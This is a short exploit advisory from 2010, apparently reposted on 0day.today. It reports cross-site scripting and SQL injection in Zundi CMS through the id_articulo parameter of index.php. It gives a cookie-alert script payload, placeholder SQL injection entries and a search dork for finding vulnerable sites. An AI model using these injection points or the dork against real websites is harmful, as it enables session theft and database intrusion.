Zundi CMS Multiple Vulnerability

================================
Zundi CMS Multiple Vulnerability
================================


#######################################
I'm SixP4ck3r member from Inj3ct0r Team
#######################################


Author : SixP4ck3r
Group : BOLIVIAN SYSTEM TEAM
Email & msn : [email protected]
Date : 08 July 2010
Critical Lvl : High
Impact : Exposure of sensitive information
Where : From Remote
web : http://foro.nbsecurity.net/
Credits : inj3ct0r Team, L0rd CrusAd3r, Chip D3 Bi0s
Dork : "inurl:zundi"
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Developer : Zundi
License : GPL type : Non Commercial
web : www.zundi.org
---------------------------------------------------------------------------

How to exploit XSS

index.php?cat=271&pla=3&id_articulo=<script>alert(document.cookie)</script>

---------------------------------------------------------------------------

How to exploit BLSi

index.php?cat=271&pla=3&id_articulo=[BSQi]
---------------------------------------------------------------------------

How to exploit SQLi

index.php?cat=271&pla=3&id_articulo=[SQLi]
---------------------------------------------------------------------------
With R3gards,
SixP4ck3r from Bolivia
eof____



#  0day.today [2018-01-09]  #